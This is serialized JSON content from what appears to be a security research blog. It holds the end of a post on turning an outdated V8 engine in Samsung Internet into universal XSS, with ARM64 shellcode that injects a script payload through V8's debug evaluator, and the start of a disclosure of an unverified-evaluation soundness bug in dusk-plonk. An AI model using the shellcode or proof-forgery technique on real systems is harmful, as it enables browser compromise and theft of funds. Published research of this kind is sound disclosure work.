pointer\n",{"type":22,"tag":264,"props":142805,"children":142806},{"class":1534,"line":24912},[142807],{"type":22,"tag":264,"props":142808,"children":142809},{},[142810],{"type":27,"value":142811},"ldr x13, [sp], #16\n",{"type":22,"tag":264,"props":142813,"children":142814},{"class":1534,"line":24945},[142815],{"type":22,"tag":264,"props":142816,"children":142817},{"emptyLinePlaceholder":17},[142818],{"type":27,"value":4986},{"type":22,"tag":264,"props":142820,"children":142821},{"class":1534,"line":24953},[142822],{"type":22,"tag":264,"props":142823,"children":142824},{},[142825],{"type":27,"value":141118},{"type":22,"tag":264,"props":142827,"children":142828},{"class":1534,"line":24961},[142829],{"type":22,"tag":264,"props":142830,"children":142831},{},[142832],{"type":27,"value":142833},"// x13 = isolate *\n",{"type":22,"tag":264,"props":142835,"children":142836},{"class":1534,"line":24970},[142837],{"type":22,"tag":264,"props":142838,"children":142839},{},[142840],{"type":27,"value":142841},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":22,"tag":264,"props":142843,"children":142844},{"class":1534,"line":25046},[142845],{"type":22,"tag":264,"props":142846,"children":142847},{},[142848],{"type":27,"value":142849},"// x10 = v8::String::NewFromUtf8\n",{"type":22,"tag":264,"props":142851,"children":142852},{"class":1534,"line":25079},[142853],{"type":22,"tag":264,"props":142854,"children":142855},{"emptyLinePlaceholder":17},[142856],{"type":27,"value":4986},{"type":22,"tag":264,"props":142858,"children":142859},{"class":1534,"line":25087},[142860],{"type":22,"tag":264,"props":142861,"children":142862},{},[142863],{"type":27,"value":142864},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":22,"tag":264,"props":142866,"children":142867},{"class":1534,"line":25095},[142868],{"type":22,"tag":264,"props":142869,"children":142870},{},[142871],{"type":27,"value":142872},"// arg0 = isolate *\n",{"type":22,"tag":264,"props":142874,"children":142875},{"class":1534,"line":25132},[142876],{"type":22,"tag":264,"props":142877,"children":142878},{},[142879],{"type":27,"value":142880},"mov x0, x13\n",{"type":22,"tag":264,"props":142882,"children":142883},{"class":1534,"line":25145},[142884],{"type":22,"tag":264,"props":142885,"children":142886},{},[142887],{"type":27,"value":142888},"// arg1 = char *c_str\n",{"type":22,"tag":264,"props":142890,"children":142891},{"class":1534,"line":25158},[142892],{"type":22,"tag":264,"props":142893,"children":142894},{},[142895],{"type":27,"value":142896},"mov x1, x11\n",{"type":22,"tag":264,"props":142898,"children":142899},{"class":1534,"line":25171},[142900],{"type":22,"tag":264,"props":142901,"children":142902},{},[142903],{"type":27,"value":142904},"// arg2 = type = kNormal\n",{"type":22,"tag":264,"props":142906,"children":142907},{"class":1534,"line":25225},[142908],{"type":22,"tag":264,"props":142909,"children":142910},{},[142911],{"type":27,"value":142912},"mov x2, #0\n",{"type":22,"tag":264,"props":142914,"children":142915},{"class":1534,"line":25234},[142916],{"type":22,"tag":264,"props":142917,"children":142918},{},[142919],{"type":27,"value":142920},"// arg4 = length\n",{"type":22,"tag":264,"props":142922,"children":142923},{"class":1534,"line":33596},[142924],{"type":22,"tag":264,"props":142925,"children":142926},{},[142927],{"type":27,"value":142928},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":22,"tag":264,"props":142930,"children":142931},{"class":1534,"line":33617},[142932],{"type":22,"tag":264,"props":142933,"children":142934},{},[142935],{"type":27,"value":142936},"// call NewFromUTF8\n",{"type":22,"tag":264,"props":142938,"children":142939},{"class":1534,"line":82277},[142940],{"type":22,"tag":264,"props":142941,"children":142942},{},[142943],{"type":27,"value":142944},"blr x10\n",{"type":22,"tag":264,"props":142946,"children":142947},{"class":1534,"line":82290},[142948],{"type":22,"tag":264,"props":142949,"children":142950},{"emptyLinePlaceholder":17},[142951],{"type":27,"value":4986},{"type":22,"tag":264,"props":142953,"children":142954},{"class":1534,"line":82298},[142955],{"type":22,"tag":264,"props":142956,"children":142957},{},[142958],{"type":27,"value":142959},"// store x14 = String XSS_PAYLOAD\n",{"type":22,"tag":264,"props":142961,"children":142962},{"class":1534,"line":82306},[142963],{"type":22,"tag":264,"props":142964,"children":142965},{},[142966],{"type":27,"value":142967},"mov x14, x0\n",{"type":22,"tag":264,"props":142969,"children":142970},{"class":1534,"line":82314},[142971],{"type":22,"tag":264,"props":142972,"children":142973},{"emptyLinePlaceholder":17},[142974],{"type":27,"value":4986},{"type":22,"tag":264,"props":142976,"children":142977},{"class":1534,"line":82354},[142978],{"type":22,"tag":264,"props":142979,"children":142980},{},[142981],{"type":27,"value":142982},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":22,"tag":264,"props":142984,"children":142985},{"class":1534,"line":82362},[142986],{"type":22,"tag":264,"props":142987,"children":142988},{},[142989],{"type":27,"value":142990},"movz x1, #0xe44c\n",{"type":22,"tag":264,"props":142992,"children":142993},{"class":1534,"line":89548},[142994],{"type":22,"tag":264,"props":142995,"children":142996},{},[142997],{"type":27,"value":142998},"movk x1, #0x014e, lsl #16\n",{"type":22,"tag":264,"props":143000,"children":143001},{"class":1534,"line":89556},[143002],{"type":22,"tag":264,"props":143003,"children":143004},{},[143005],{"type":27,"value":143006},"sub x9, x12, x1\n",{"type":22,"tag":264,"props":143008,"children":143009},{"class":1534,"line":102898},[143010],{"type":22,"tag":264,"props":143011,"children":143012},{"emptyLinePlaceholder":17},[143013],{"type":27,"value":4986},{"type":22,"tag":264,"props":143015,"children":143016},{"class":1534,"line":102906},[143017],{"type":22,"tag":264,"props":143018,"children":143019},{},[143020],{"type":27,"value":143021},"// call v8::internal::DebugEvaluate::Global\n",{"type":22,"tag":264,"props":143023,"children":143024},{"class":1534,"line":102914},[143025],{"type":22,"tag":264,"props":143026,"children":143027},{},[143028],{"type":27,"value":142872},{"type":22,"tag":264,"props":143030,"children":143031},{"class":1534,"line":102922},[143032],{"type":22,"tag":264,"props":143033,"children":143034},{},[143035],{"type":27,"value":142880},{"type":22,"tag":264,"props":143037,"children":143038},{"class":1534,"line":102950},[143039],{"type":22,"tag":264,"props":143040,"children":143041},{},[143042],{"type":27,"value":143043},"// arg1 = String *source\n",{"type":22,"tag":264,"props":143045,"children":143046},{"class":1534,"line":105721},[143047],{"type":22,"tag":264,"props":143048,"children":143049},{},[143050],{"type":27,"value":143051},"mov x1, x14\n",{"type":22,"tag":264,"props":143053,"children":143054},{"class":1534,"line":105729},[143055],{"type":22,"tag":264,"props":143056,"children":143057},{},[143058],{"type":27,"value":143059},"// arg2 = mode = kDefault\n",{"type":22,"tag":264,"props":143061,"children":143063},{"class":1534,"line":143062},69,[143064],{"type":22,"tag":264,"props":143065,"children":143066},{},[143067],{"type":27,"value":142912},{"type":22,"tag":264,"props":143069,"children":143071},{"class":1534,"line":143070},70,[143072],{"type":22,"tag":264,"props":143073,"children":143074},{},[143075],{"type":27,"value":143076},"// arg3 = repl_mode = kYes\n",{"type":22,"tag":264,"props":143078,"children":143080},{"class":1534,"line":143079},71,[143081],{"type":22,"tag":264,"props":143082,"children":143083},{},[143084],{"type":27,"value":143085},"mov x3, #0\n",{"type":22,"tag":264,"props":143087,"children":143089},{"class":1534,"line":143088},72,[143090],{"type":22,"tag":264,"props":143091,"children":143092},{"emptyLinePlaceholder":17},[143093],{"type":27,"value":4986},{"type":22,"tag":264,"props":143095,"children":143097},{"class":1534,"line":143096},73,[143098],{"type":22,"tag":264,"props":143099,"children":143100},{},[143101],{"type":27,"value":142598},{"type":22,"tag":181,"props":143103,"children":143105},{"id":143104},"uxss-demo",[143106],{"type":27,"value":143107},"UXSS Demo",{"type":22,"tag":23,"props":143109,"children":143110},{},[143111,143113,143119],{"type":27,"value":143112},"Below is a demo that executes the following UXSS payload: ",{"type":22,"tag":257,"props":143114,"children":143116},{"className":143115},[],[143117],{"type":27,"value":143118},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":27,"value":210},{"type":22,"tag":133158,"props":143121,"children":143124},{"className":143122,"controls":17},[143123],"blog-video-responsive",[143125,143127,143131],{"type":27,"value":143126},"\n  ",{"type":22,"tag":142362,"props":143128,"children":143130},{"src":143129,"type":133156},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":27,"value":143132},"\n  Your browser does not support the video tag.\n",{"type":22,"tag":169,"props":143134,"children":143135},{"id":30246},[143136],{"type":27,"value":20252},{"type":22,"tag":23,"props":143138,"children":143139},{},[143140],{"type":27,"value":143141},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":22,"tag":23,"props":143143,"children":143144},{},[143145],{"type":27,"value":143146},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":22,"tag":4139,"props":143148,"children":143149},{},[143150],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":143152},[143153,143157,143160,143170],{"id":30329,"depth":1545,"text":30332,"children":143154},[143155,143156],{"id":133292,"depth":1560,"text":133295},{"id":133375,"depth":1560,"text":133378},{"id":133408,"depth":1545,"text":133411,"children":143158},[143159],{"id":133549,"depth":1560,"text":133403},{"id":1707,"depth":1545,"text":1710,"children":143161},[143162,143163,143164,143165,143166,143167,143168,143169],{"id":133697,"depth":1560,"text":133700},{"id":134154,"depth":1560,"text":134157},{"id":134337,"depth":1560,"text":134340},{"id":134448,"depth":1560,"text":134451},{"id":134725,"depth":1560,"text":134728},{"id":137435,"depth":1560,"text":137438},{"id":140716,"depth":1560,"text":140719},{"id":143104,"depth":1560,"text":143107},{"id":30246,"depth":1545,"text":20252},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":143175,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":143176,"description":143177,"date":143178,"author":143179,"image":143180,"isFeatured":17,"onBlogPage":17,"tags":143182,"body":143185,"_type":4157,"_id":148449,"_source":4159,"_file":148450,"_stem":148451,"_extension":4162},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[109159,109160],{"src":143181,"width":98589,"height":14922},"/posts/dusk-commitment-issues/title.png",[143183,143184],"dusk","plonk",{"type":19,"children":143186,"toc":148429},[143187,143193,143234,143246,143252,143266,143271,143277,143568,143572,143844,144074,144080,144765,144769,145264,145272,145278,145297,145302,145308,145533,145572,145583,145589,145600,146308,146313,146316,146322,146375,146410,146442,146447,146451,146454,146460,146471,146484,146515,146582,146590,146612,146625,147052,147075,147080,147083,147088,147115,147211,147222,147269,147307,147318,147656,147673,147681,147684,147690,147695,147729,147737,147818,147821,147827,147841,147859,147864,147904,147912,147933,147936,147942,147947,148012,148026,148029,148035,148075,148086,148091,148096,148102,148116,148197,148218,148245,148248,148254,148268,148273,148278,148283,148418,148424],{"type":22,"tag":36687,"props":143188,"children":143190},{"id":143189},"commitment-issues-unverified-evaluations-in-dusks-plonk",[143191],{"type":27,"value":143192},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":22,"tag":23,"props":143194,"children":143195},{},[143196,143198,143205,143207,143214,143216,143223,143225,143232],{"type":27,"value":143197},"We found a critical soundness vulnerability in ",{"type":22,"tag":69,"props":143199,"children":143202},{"href":143200,"rel":143201},"https://github.com/dusk-network/plonk/",[73],[143203],{"type":27,"value":143204},"dusk-plonk",{"type":27,"value":143206},", the PLONK implementation powering ",{"type":22,"tag":69,"props":143208,"children":143211},{"href":143209,"rel":143210},"https://dusk.network/",[73],[143212],{"type":27,"value":143213},"Dusk Network's",{"type":27,"value":143215}," ~$60M ",{"type":22,"tag":69,"props":143217,"children":143220},{"href":143218,"rel":143219},"https://www.coingecko.com/en/coins/dusk",[73],[143221],{"type":27,"value":143222},"market cap",{"type":27,"value":143224},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":22,"tag":69,"props":143226,"children":143229},{"href":143227,"rel":143228},"https://github.com/dusk-network/rusk",[73],[143230],{"type":27,"value":143231},"Rusk",{"type":27,"value":143233}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":22,"tag":23,"props":143235,"children":143236},{},[143237,143239,143244],{"type":27,"value":143238},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":22,"tag":242,"props":143240,"children":143241},{},[143242],{"type":27,"value":143243},"without ever validating them against the trusted commitments in the verifier key.",{"type":27,"value":143245}," The prover can set them to whatever values make the equation pass.",{"type":22,"tag":169,"props":143247,"children":143249},{"id":143248},"how-plonk-works-briefly",[143250],{"type":27,"value":143251},"How PLONK works (briefly)",{"type":22,"tag":23,"props":143253,"children":143254},{},[143255,143257,143264],{"type":27,"value":143256},"For a rigorous treatment see the ",{"type":22,"tag":69,"props":143258,"children":143261},{"href":143259,"rel":143260},"https://eprint.iacr.org/2019/953",[73],[143262],{"type":27,"value":143263},"original paper",{"type":27,"value":143265},"; what follows covers only the parts needed to understand the bug.",{"type":22,"tag":23,"props":143267,"children":143268},{},[143269],{"type":27,"value":143270},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":22,"tag":181,"props":143272,"children":143274},{"id":143273},"arithmetic-circuits-and-constraints",[143275],{"type":27,"value":143276},"Arithmetic circuits and constraints",{"type":22,"tag":23,"props":143278,"children":143279},{},[143280,143282,143331,143333,143482,143484,143567],{"type":27,"value":143281},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":22,"tag":257,"props":143283,"children":143285},{"className":143284},[260,261],[143286],{"type":22,"tag":264,"props":143287,"children":143289},{"className":143288},[267],[143290],{"type":22,"tag":264,"props":143291,"children":143293},{"className":143292,"ariaHidden":273},[272],[143294],{"type":22,"tag":264,"props":143295,"children":143297},{"className":143296},[278],[143298,143302,143307,143312,143317,143321,143326],{"type":22,"tag":264,"props":143299,"children":143301},{"className":143300,"style":5409},[283],[],{"type":22,"tag":264,"props":143303,"children":143305},{"className":143304},[294],[143306],{"type":27,"value":2660},{"type":22,"tag":264,"props":143308,"children":143310},{"className":143309},[289,2178],[143311],{"type":27,"value":20581},{"type":22,"tag":264,"props":143313,"children":143315},{"className":143314},[5420],[143316],{"type":27,"value":5423},{"type":22,"tag":264,"props":143318,"children":143320},{"className":143319,"style":5427},[420],[],{"type":22,"tag":264,"props":143322,"children":143324},{"className":143323,"style":94855},[289,2178],[143325],{"type":27,"value":4418},{"type":22,"tag":264,"props":143327,"children":143329},{"className":143328},[415],[143330],{"type":27,"value":2806},{"type":27,"value":143332}," on an elliptic curve, by e.g proving that ",{"type":22,"tag":257,"props":143334,"children":143336},{"className":143335},[260,261],[143337],{"type":22,"tag":264,"props":143338,"children":143340},{"className":143339},[267],[143341],{"type":22,"tag":264,"props":143342,"children":143344},{"className":143343,"ariaHidden":273},[272],[143345,143407,143469],{"type":22,"tag":264,"props":143346,"children":143348},{"className":143347},[278],[143349,143353,143394,143398,143403],{"type":22,"tag":264,"props":143350,"children":143352},{"className":143351,"style":124684},[283],[],{"type":22,"tag":264,"props":143354,"children":143356},{"className":143355},[289],[143357,143362],{"type":22,"tag":264,"props":143358,"children":143360},{"className":143359,"style":94855},[289,2178],[143361],{"type":27,"value":4418},{"type":22,"tag":264,"props":143363,"children":143365},{"className":143364},[2147],[143366],{"type":22,"tag":264,"props":143367,"children":143369},{"className":143368},[305],[143370],{"type":22,"tag":264,"props":143371,"children":143373},{"className":143372},[311],[143374],{"type":22,"tag":264,"props":143375,"children":143377},{"className":143376,"style":5318},[316],[143378],{"type":22,"tag":264,"props":143379,"children":143380},{"style":5353},[143381,143385],{"type":22,"tag":264,"props":143382,"children":143384},{"className":143383,"style":2169},[326],[],{"type":22,"tag":264,"props":143386,"children":143388},{"className":143387},[332,333,334,335],[143389],{"type":22,"tag":264,"props":143390,"children":143392},{"className":143391},[289,335],[143393],{"type":27,"value":3568},{"type":22,"tag":264,"props":143395,"children":143397},{"className":143396,"style":421},[420],[],{"type":22,"tag":264,"props":143399,"children":143401},{"className":143400},[426],[143402],{"type":27,"value":429},{"type":22,"tag":264,"props":143404,"children":143406},{"className":143405,"style":421},[420],[],{"type":22,"tag":264,"props":143408,"children":143410},{"className":143409},[278],[143411,143415,143456,143460,143465],{"type":22,"tag":264,"props":143412,"children":143414},{"className":143413,"style":124559},[283],[],{"type":22,"tag":264,"props":143416,"children":143418},{"className":143417},[289],[143419,143424],{"type":22,"tag":264,"props":143420,"children":143422},{"className":143421},[289,2178],[143423],{"type":27,"value":20581},{"type":22,"tag":264,"props":143425,"children":143427},{"className":143426},[2147],[143428],{"type":22,"tag":264,"props":143429,"children":143431},{"className":143430},[305],[143432],{"type":22,"tag":264,"props":143433,"children":143435},{"className":143434},[311],[143436],{"type":22,"tag":264,"props":143437,"children":143439},{"className":143438,"style":5318},[316],[143440],{"type":22,"tag":264,"props":143441,"children":143442},{"style":5353},[143443,143447],{"type":22,"tag":264,"props":143444,"children":143446},{"className":143445,"style":2169},[326],[],{"type":22,"tag":264,"props":143448,"children":143450},{"className":143449},[332,333,334,335],[143451],{"type":22,"tag":264,"props":143452,"children":143454},{"className":143453},[289,335],[143455],{"type":27,"value":18598},{"type":22,"tag":264,"props":143457,"children":143459},{"className":143458,"style":665},[420],[],{"type":22,"tag":264,"props":143461,"children":143463},{"className":143462},[670],[143464],{"type":27,"value":673},{"type":22,"tag":264,"props":143466,"children":143468},{"className":143467,"style":665},[420],[],{"type":22,"tag":264,"props":143470,"children":143472},{"className":143471},[278],[143473,143477],{"type":22,"tag":264,"props":143474,"children":143476},{"className":143475,"style":850},[283],[],{"type":22,"tag":264,"props":143478,"children":143480},{"className":143479},[289],[143481],{"type":27,"value":55992},{"type":27,"value":143483},", here in ",{"type":22,"tag":257,"props":143485,"children":143487},{"className":143486},[260,261],[143488],{"type":22,"tag":264,"props":143489,"children":143491},{"className":143490},[267],[143492],{"type":22,"tag":264,"props":143493,"children":143495},{"className":143494,"ariaHidden":273},[272],[143496],{"type":22,"tag":264,"props":143497,"children":143499},{"className":143498},[278],[143500,143505],{"type":22,"tag":264,"props":143501,"children":143504},{"className":143502,"style":143503},[283],"height:0.8389em;vertical-align:-0.15em;",[],{"type":22,"tag":264,"props":143506,"children":143508},{"className":143507},[289],[143509,143514],{"type":22,"tag":264,"props":143510,"children":143512},{"className":143511},[289,123127],[143513],{"type":27,"value":123130},{"type":22,"tag":264,"props":143515,"children":143517},{"className":143516},[2147],[143518],{"type":22,"tag":264,"props":143519,"children":143521},{"className":143520},[305,306],[143522,143556],{"type":22,"tag":264,"props":143523,"children":143525},{"className":143524},[311],[143526,143551],{"type":22,"tag":264,"props":143527,"children":143529},{"className":143528,"style":94422},[316],[143530],{"type":22,"tag":264,"props":143531,"children":143532},{"style":94426},[143533,143537],{"type":22,"tag":264,"props":143534,"children":143536},{"className":143535,"style":2169},[326],[],{"type":22,"tag":264,"props":143538,"children":143540},{"className":143539},[332,333,334,335],[143541],{"type":22,"tag":264,"props":143542,"children":143544},{"className":143543},[289,335],[143545],{"type":22,"tag":264,"props":143546,"children":143548},{"className":143547},[289,335],[143549],{"type":27,"value":143550},"37",{"type":22,"tag":264,"props":143552,"children":143554},{"className":143553},[396],[143555],{"type":27,"value":399},{"type":22,"tag":264,"props":143557,"children":143559},{"className":143558},[311],[143560],{"type":22,"tag":264,"props":143561,"children":143563},{"className":143562,"style":2721},[316],[143564],{"type":22,"tag":264,"props":143565,"children":143566},{},[],{"type":27,"value":210},{"type":22,"tag":143569,"props":143570,"children":143571},"arithmetic-circuit-widget",{},[],{"type":22,"tag":23,"props":143573,"children":143574},{},[143575,143577,143603,143605,143684,143686,143763,143765,143842],{"type":27,"value":143576},"Each gate ",{"type":22,"tag":257,"props":143578,"children":143580},{"className":143579},[260,261],[143581],{"type":22,"tag":264,"props":143582,"children":143584},{"className":143583},[267],[143585],{"type":22,"tag":264,"props":143586,"children":143588},{"className":143587,"ariaHidden":273},[272],[143589],{"type":22,"tag":264,"props":143590,"children":143592},{"className":143591},[278],[143593,143598],{"type":22,"tag":264,"props":143594,"children":143597},{"className":143595,"style":143596},[283],"height:0.6595em;",[],{"type":22,"tag":264,"props":143599,"children":143601},{"className":143600},[289,2178],[143602],{"type":27,"value":5050},{"type":27,"value":143604}," has a left input ",{"type":22,"tag":257,"props":143606,"children":143608},{"className":143607},[260,261],[143609],{"type":22,"tag":264,"props":143610,"children":143612},{"className":143611},[267],[143613],{"type":22,"tag":264,"props":143614,"children":143616},{"className":143615,"ariaHidden":273},[272],[143617],{"type":22,"tag":264,"props":143618,"children":143620},{"className":143619},[278],[143621,143626],{"type":22,"tag":264,"props":143622,"children":143625},{"className":143623,"style":143624},[283],"height:0.8444em;vertical-align:-0.15em;",[],{"type":22,"tag":264,"props":143627,"children":143629},{"className":143628},[289],[143630,143635],{"type":22,"tag":264,"props":143631,"children":143633},{"className":143632,"style":94382},[289,2178],[143634],{"type":27,"value":94385},{"type":22,"tag":264,"props":143636,"children":143638},{"className":143637},[2147],[143639],{"type":22,"tag":264,"props":143640,"children":143642},{"className":143641},[305,306],[143643,143673],{"type":22,"tag":264,"props":143644,"children":143646},{"className":143645},[311],[143647,143668],{"type":22,"tag":264,"props":143648,"children":143650},{"className":143649,"style":94898},[316],[143651],{"type":22,"tag":264,"props":143652,"children":143654},{"style":143653},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[143655,143659],{"type":22,"tag":264,"props":143656,"children":143658},{"className":143657,"style":2169},[326],[],{"type":22,"tag":264,"props":143660,"children":143662},{"className":143661},[332,333,334,335],[143663],{"type":22,"tag":264,"props":143664,"children":143666},{"className":143665},[289,2178,335],[143667],{"type":27,"value":5050},{"type":22,"tag":264,"props":143669,"children":143671},{"className":143670},[396],[143672],{"type":27,"value":399},{"type":22,"tag":264,"props":143674,"children":143676},{"className":143675},[311],[143677],{"type":22,"tag":264,"props":143678,"children":143680},{"className":143679,"style":2721},[316],[143681],{"type":22,"tag":264,"props":143682,"children":143683},{},[],{"type":27,"value":143685},", right input ",{"type":22,"tag":257,"props":143687,"children":143689},{"className":143688},[260,261],[143690],{"type":22,"tag":264,"props":143691,"children":143693},{"className":143692},[267],[143694],{"type":22,"tag":264,"props":143695,"children":143697},{"className":143696,"ariaHidden":273},[272],[143698],{"type":22,"tag":264,"props":143699,"children":143701},{"className":143700},[278],[143702,143706],{"type":22,"tag":264,"props":143703,"children":143705},{"className":143704,"style":111337},[283],[],{"type":22,"tag":264,"props":143707,"children":143709},{"className":143708},[289],[143710,143715],{"type":22,"tag":264,"props":143711,"children":143713},{"className":143712,"style":94370},[289,2178],[143714],{"type":27,"value":95188},{"type":22,"tag":264,"props":143716,"children":143718},{"className":143717},[2147],[143719],{"type":22,"tag":264,"props":143720,"children":143722},{"className":143721},[305,306],[143723,143752],{"type":22,"tag":264,"props":143724,"children":143726},{"className":143725},[311],[143727,143747],{"type":22,"tag":264,"props":143728,"children":143730},{"className":143729,"style":94898},[316],[143731],{"type":22,"tag":264,"props":143732,"children":143733},{"style":111366},[143734,143738],{"type":22,"tag":264,"props":143735,"children":143737},{"className":143736,"style":2169},[326],[],{"type":22,"tag":264,"props":143739,"children":143741},{"className":143740},[332,333,334,335],[143742],{"type":22,"tag":264,"props":143743,"children":143745},{"className":143744},[289,2178,335],[143746],{"type":27,"value":5050},{"type":22,"tag":264,"props":143748,"children":143750},{"className":143749},[396],[143751],{"type":27,"value":399},{"type":22,"tag":264,"props":143753,"children":143755},{"className":143754},[311],[143756],{"type":22,"tag":264,"props":143757,"children":143759},{"className":143758,"style":2721},[316],[143760],{"type":22,"tag":264,"props":143761,"children":143762},{},[],{"type":27,"value":143764},", and output ",{"type":22,"tag":257,"props":143766,"children":143768},{"className":143767},[260,261],[143769],{"type":22,"tag":264,"props":143770,"children":143772},{"className":143771},[267],[143773],{"type":22,"tag":264,"props":143774,"children":143776},{"className":143775,"ariaHidden":273},[272],[143777],{"type":22,"tag":264,"props":143778,"children":143780},{"className":143779},[278],[143781,143785],{"type":22,"tag":264,"props":143782,"children":143784},{"className":143783,"style":111337},[283],[],{"type":22,"tag":264,"props":143786,"children":143788},{"className":143787},[289],[143789,143794],{"type":22,"tag":264,"props":143790,"children":143792},{"className":143791},[289,2178],[143793],{"type":27,"value":94340},{"type":22,"tag":264,"props":143795,"children":143797},{"className":143796},[2147],[143798],{"type":22,"tag":264,"props":143799,"children":143801},{"className":143800},[305,306],[143802,143831],{"type":22,"tag":264,"props":143803,"children":143805},{"className":143804},[311],[143806,143826],{"type":22,"tag":264,"props":143807,"children":143809},{"className":143808,"style":94898},[316],[143810],{"type":22,"tag":264,"props":143811,"children":143812},{"style":94426},[143813,143817],{"type":22,"tag":264,"props":143814,"children":143816},{"className":143815,"style":2169},[326],[],{"type":22,"tag":264,"props":143818,"children":143820},{"className":143819},[332,333,334,335],[143821],{"type":22,"tag":264,"props":143822,"children":143824},{"className":143823},[289,2178,335],[143825],{"type":27,"value":5050},{"type":22,"tag":264,"props":143827,"children":143829},{"className":143828},[396],[143830],{"type":27,"value":399},{"type":22,"tag":264,"props":143832,"children":143834},{"className":143833},[311],[143835],{"type":22,"tag":264,"props":143836,"children":143838},{"className":143837,"style":2721},[316],[143839],{"type":22,"tag":264,"props":143840,"children":143841},{},[],{"type":27,"value":143843},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":22,"tag":23,"props":143845,"children":143846},{},[143847,143849,143854,143856,143960,143962,144065,144067,144072],{"type":27,"value":143848},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":22,"tag":1699,"props":143850,"children":143851},{},[143852],{"type":27,"value":143853},"selector",{"type":27,"value":143855}," values that act as switches: setting ",{"type":22,"tag":257,"props":143857,"children":143859},{"className":143858},[260,261],[143860],{"type":22,"tag":264,"props":143861,"children":143863},{"className":143862},[267],[143864],{"type":22,"tag":264,"props":143865,"children":143867},{"className":143866,"ariaHidden":273},[272],[143868,143947],{"type":22,"tag":264,"props":143869,"children":143871},{"className":143870},[278],[143872,143876,143934,143938,143943],{"type":22,"tag":264,"props":143873,"children":143875},{"className":143874,"style":111257},[283],[],{"type":22,"tag":264,"props":143877,"children":143879},{"className":143878},[289],[143880,143885],{"type":22,"tag":264,"props":143881,"children":143883},{"className":143882,"style":94855},[289,2178],[143884],{"type":27,"value":94858},{"type":22,"tag":264,"props":143886,"children":143888},{"className":143887},[2147],[143889],{"type":22,"tag":264,"props":143890,"children":143892},{"className":143891},[305,306],[143893,143923],{"type":22,"tag":264,"props":143894,"children":143896},{"className":143895},[311],[143897,143918],{"type":22,"tag":264,"props":143898,"children":143901},{"className":143899,"style":143900},[316],"height:0.3283em;",[143902],{"type":22,"tag":264,"props":143903,"children":143904},{"style":94902},[143905,143909],{"type":22,"tag":264,"props":143906,"children":143908},{"className":143907,"style":2169},[326],[],{"type":22,"tag":264,"props":143910,"children":143912},{"className":143911},[332,333,334,335],[143913],{"type":22,"tag":264,"props":143914,"children":143916},{"className":143915,"style":96376},[289,2178,335],[143917],{"type":27,"value":96379},{"type":22,"tag":264,"props":143919,"children":143921},{"className":143920},[396],[143922],{"type":27,"value":399},{"type":22,"tag":264,"props":143924,"children":143926},{"className":143925},[311],[143927],{"type":22,"tag":264,"props":143928,"children":143930},{"className":143929,"style":2721},[316],[143931],{"type":22,"tag":264,"props":143932,"children":143933},{},[],{"type":22,"tag":264,"props":143935,"children":143937},{"className":143936,"style":421},[420],[],{"type":22,"tag":264,"props":143939,"children":143941},{"className":143940},[426],[143942],{"type":27,"value":429},{"type":22,"tag":264,"props":143944,"children":143946},{"className":143945,"style":421},[420],[],{"type":22,"tag":264,"props":143948,"children":143950},{"className":143949},[278],[143951,143955],{"type":22,"tag":264,"props":143952,"children":143954},{"className":143953,"style":850},[283],[],{"type":22,"tag":264,"props":143956,"children":143958},{"className":143957},[289],[143959],{"type":27,"value":602},{"type":27,"value":143961}," makes a row a multiplication gate, setting ",{"type":22,"tag":257,"props":143963,"children":143965},{"className":143964},[260,261],[143966],{"type":22,"tag":264,"props":143967,"children":143969},{"className":143968},[267],[143970],{"type":22,"tag":264,"props":143971,"children":143973},{"className":143972,"ariaHidden":273},[272],[143974,144052],{"type":22,"tag":264,"props":143975,"children":143977},{"className":143976},[278],[143978,143982,144039,144043,144048],{"type":22,"tag":264,"props":143979,"children":143981},{"className":143980,"style":111257},[283],[],{"type":22,"tag":264,"props":143983,"children":143985},{"className":143984},[289],[143986,143991],{"type":22,"tag":264,"props":143987,"children":143989},{"className":143988,"style":94855},[289,2178],[143990],{"type":27,"value":94858},{"type":22,"tag":264,"props":143992,"children":143994},{"className":143993},[2147],[143995],{"type":22,"tag":264,"props":143996,"children":143998},{"className":143997},[305,306],[143999,144028],{"type":22,"tag":264,"props":144000,"children":144002},{"className":144001},[311],[144003,144023],{"type":22,"tag":264,"props":144004,"children":144006},{"className":144005,"style":143900},[316],[144007],{"type":22,"tag":264,"props":144008,"children":144009},{"style":94902},[144010,144014],{"type":22,"tag":264,"props":144011,"children":144013},{"className":144012,"style":2169},[326],[],{"type":22,"tag":264,"props":144015,"children":144017},{"className":144016},[332,333,334,335],[144018],{"type":22,"tag":264,"props":144019,"children":144021},{"className":14402